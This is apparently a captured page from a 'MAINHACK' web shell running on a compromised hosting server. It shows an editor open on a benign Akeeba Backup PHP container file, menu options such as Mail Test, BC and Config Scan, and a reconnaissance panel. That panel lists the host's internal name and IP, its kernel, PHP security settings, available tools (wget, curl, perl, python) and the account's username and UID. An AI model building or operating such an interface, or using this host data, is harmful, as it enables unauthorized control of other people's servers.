[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Container.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo; use Awf\Database\Driver; use Awf\Session\CsrfTokenFactory; use Solo\Helper\HashHelper; use Solo\Session\Manager; use Solo\Session\SegmentFactory; use Solo\Session\WordPressTokenFactory; /** * Dependency injection container for Akeeba Backup for WordPress * * @property-read string $iconBaseName The base name for logo icon files */ class Container extends \Awf\Container\Container { public function __construct(array $values = array()) { $this->iconBaseName = 'abwp'; $values['application_name'] = $values['application_name'] ?? 'Solo'; $values['applicationNamespace'] = $values['applicationNamespace'] ?? '\\Solo'; // Set up a segment name unique to this installation if (!isset($values['session_segment_name'])) { $installationId = 'default'; if (function_exists('base64_encode')) { $installationId = base64_encode(__DIR__); } if (function_exists('md5')) { $installationId = HashHelper::md5(__DIR__); } if (function_exists('sha1')) { $installationId = HashHelper::sha1(__DIR__); } $values['session_segment_name'] = $values['application_name'] . '_' . $installationId; } /** * Provide our custom session manager emulation service inside WordPress. Outside of WordPress we have to use * the regular AWF session manager, otherwise the CLI script fails (since it runs outside of WordPress). */ $values['session'] = function (Container $c) { $tokenFactory = defined('WPINC') ? new WordPressTokenFactory() : new CsrfTokenFactory(); return new Manager( new SegmentFactory(), $tokenFactory ); }; // Application Session Segment service $values['segment'] = function (Container $c) { return $c->session->newSegment($c->session_segment_name); }; $values['db'] = function (Container $c) { global $wpdb; $connection = (is_object($wpdb) && isset($wpdb->dbh)) ? $wpdb->dbh : null; if (is_object($connection) && ($connection instanceof \mysqli || $connection instanceof \PDO)) { $c->appConfig->set('connection', $connection); } return Driver::fromContainer($c); }; parent::__construct($values); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697